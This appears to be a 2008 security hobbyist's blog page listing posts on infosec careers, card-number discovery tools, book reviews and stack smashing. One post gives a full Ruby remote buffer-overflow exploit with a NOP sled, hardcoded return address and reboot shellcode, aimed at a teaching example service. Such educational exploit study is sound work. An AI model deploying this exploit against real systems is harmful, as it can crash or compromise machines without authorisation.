Home Projects Pictures Books About PGP Key

Entering the Infosec Field From the Dev Side of the House

February 29th, 2008 Anthony Towry

For me, reading blog comments on popular sites is usually somewhat of an exercise in self hate.  More often than not it's a drive through the unhelpful.  I do love it though when I come across a gem that's truly informative.

I recently had such an experience reading the comments to a SecurityFocus article on the skills required by most individuals to enter the information security field.  This article describes the route I've heard the most about.  One that involves experience in admin duties or networking.

Grant Bugher of the Perimeter Grid blog had a post covering another route to the information security field.  The route he describes and has personally taken pulls heavily from experience in development and writing secure code.  This route is crazy interesting to me and I'm glad to see I'm naturally heading down the road he's talking about.

It's really a great post that gives hope to the coder who wants to break into the field.  If you're into development and information security check it out.  That said, the job boards don't lie and the state of things today do not appear to favor this path.

Posted in Programming, Security, Web development | No Comments »

Finding PANs with Open Source Tools

February 27th, 2008 Anthony Towry

Recently the idea hit me to look into what it would take to locate personal account numbers (PAN)s that had been unknowingly filed away by applications or server logs.  I quickly found three open source tools to enlist.

Listen to find out which one I liked and which ones are fit for /dev/null.  Enjoy the show!

  • Cornell Spider (windows version)
  • Cornell Spider 4.0 (Perl) this wasn't tested, but apparently doesn't suck. 
  • Find_ssn, credit cards actually expire before this is finished scanning
  • Senf from the University of Texas is awesome!
 
icon for podpress  Finding PANs With Open Source Tools [24:58m]: Play Now | Play in Popup | Download (59)

Posted in Podcast | No Comments »

Enemy at The Water Cooler by Brian Contos

February 26th, 2008 Anthony Towry

Enemy At the Water Cooler Cover

Insider threat is an area of security with crazy potential to turn things over on an organization in a big way. These attackers are trusted, knowledgeable and quite often fully authorized by the systems in place to perform whatever dirty deed they've got in mind.

Most people would rather not think of their coworkers as potential criminals even when confronted with studies, news stories and statistics that focus the light on just how relevant these threats are. This book should help.

Brian makes use of multiple dynamic case studies and experience that keeps the reader engaged in almost cinematic suspense. He presents information on the type of person behind the attacks and shows off the kind of correlation that an Enterprise Security Management (ESM) system should perform.

I really enjoyed this book, it takes the hard job of explaining what can be done when you can't prevent, you can only detect and respond.

Posted in Security | No Comments »

Microsoft Setting the Protocols Free

February 26th, 2008 Anthony Towry

Microsoft is releasing documentation to the public regarding quite a few of the protocols that are implemented by their leading products.

This sounds like an excellent time for someone to start working on some fuzzing tools.

Posted in Programming | No Comments »

Remote Exploit Development in Ruby

February 13th, 2008 Anthony Towry

This Friday we are getting back into the trenches at the DC405. We have a talk coming up on remote exploitation of stack-based overflows that will be presented by ri0t.

So, I've been checking out the write-up by Preddy regarding the service. It's a nice walk-through on exploiting an example vulnerable service using both C and Perl. This is informative, I had to adjust my payload size (no biggie) and do a #include <string.h>, but overall a solid example without errors.

Exploits written in C are fairly common. Exploits written in Perl aren't rare. Exploits written using Ruby are like unicorns...they probably exist, but you never see one (at least where I'm keeping up with them). At any rate, I decided to look into rewriting the example exploit into Ruby and scratching the surface concerning Ruby sockets. It turns out that this is an extremely simple thing to do.

 
#!/usr/bin/ruby
# http://www.calculateddecision.com
 
require 'socket'
port = 7500
 
victim=ARGV[0]
nop = "\x90"
sled=nop*240
 
#This will probably be different for you
eip = "\xa8\xf9\xff\xbf"
 
#20 byte reboot shellcode Linux x86 Thanks to izik <izik@tty64.org>
shellcode="\x6a\x58"+
 
"\x58"+
"\xbb\xad\xde\xe1\xfe"+
"\xb9\x69\x19\x12\x28"+
"\xba\x67\x45\x23\x01"+
"\xcd\x80"
 
 payload=sled<<shellcode<<eip
if (ARGV.length<1)#Brief usage
puts "You have to give me a target"
else
mysocket=TCPSocket::new(victim,port)
mysocket.send(payload,0)
mysocket::close
 
end

As you can see, the TCPSocket constructor only requires an endpoint and a port. What's nice is that you can actually throw a domain name and it will resolve it. I half wondered if the hex bytes would need to be encoded or anything, but this is also handled for us without issue.

Looking at Preddy's perl example, these two forms don't really differ all that much and in fact, I'm not entirely sure that there isn't a simpler socket constructor available in perl (if nothing else CPAN). Even so, Ruby does IMHO offer a more inviting grammar.

You can download my send_overflow.rb here.

Notes:
xWinGs wrote a local ENV variable example

Posted in Programming, Security | 2 Comments »

Web Application Firewall Evaluation Criteria

February 10th, 2008 Anthony Towry

The deadline for the PCI Data Security Standard requirement for securing web applications against known attacks is effective June 30, 2008, currently the recommendations are only "best practice". Which leaves just over four months to address your organization's card holder environment web application security needs. Read the rest of this entry »

Posted in Programming, Security | No Comments »

Podcasting Hacks by Jack D. Herrington

February 8th, 2008 Anthony Towry

Cover of Podcasting Hacks

I recently finished flipping through Podcasting Hacks. I say flipping, because I read it in a completely hit-and-run way, digging into the hacks that screamed out.

The book isn't bad, but is definitely geared toward the podcasting newbie. The depth at which format styles and interviewing is covered should be sufficient for any newcomer to produce interesting content.

I would have personally liked to have seen a bit more on some of the technical audio mixing and post production stuff, but who are we kidding?  Like my podcast is ever going to be more than a Fisher-Price microphone and a kazoo.

Posted in Books, Podcast | No Comments »

Getting to Know Stack Smashing

February 6th, 2008 Anthony Towry

In this episode of The Decision, I cover some of the issues that people run into as they start experimenting and exploring stack-based buffer overflows on Linux. Stack smashing is an interesting and rewarding exercise for security enthusiasts. It perfectly illustrates the idea of what can go wrong when trusting user input.

Hopefully with a handful of tips on the "gotchas" we can make it a bit less frustrating at the start. Read the rest of this entry »

 
icon for podpress  Issues With Stack Smashing [36:03m]: Play Now | Play in Popup | Download (157)

Posted in Podcast | No Comments »

  • Recent Posts

    • New ProCheckUp ValidateRequest Bypass
    • Samurai Web Test Framework 0.1
    • Altering the Mac OS X Login Access Window Text
    • Summary on the State of Nmap
    • Android Security Team Says Hi
  • Archives

    • September 2008
    • August 2008
    • July 2008
    • June 2008
    • May 2008
    • April 2008
    • March 2008
    • February 2008
    • January 2008
    • December 2007
    • November 2007
    • October 2007
    • September 2007
    • August 2007
    • July 2007
  • Categories

    • Art
    • Books
    • Community
    • conferences
    • Hardware
    • Management
    • Operating Systems
    • Podcast
    • Programming
    • Projects
    • Security
    • Site News
    • Software
    • Testing
    • Uncategorized
    • Web development
  • Blogroll

    • Defcon 405
    • ha.ckers.org
    • Halvar Flake
    • OSVDB Blog
    • phed.org
    • Scott Berkun’s Blog
  • Tags

    .Net ASP.NET Beta Books browser buffer overflow C Community Compliance Concept conferences Credit Cards dc405 defcon Development exploit Future fuzzing hacking Linux malware Management Metasploit Microsoft oklahoma Open Source osvdb OS X Patterns PCI Perl Podcast Programming protocols Ruby secure coding Security Silverlight SQL Server Testing tools vulnerabilities vulnerability WordPress xss

Calculated Decision has Joomla! under the hood!

Podcast Powered by podPress (v8.8)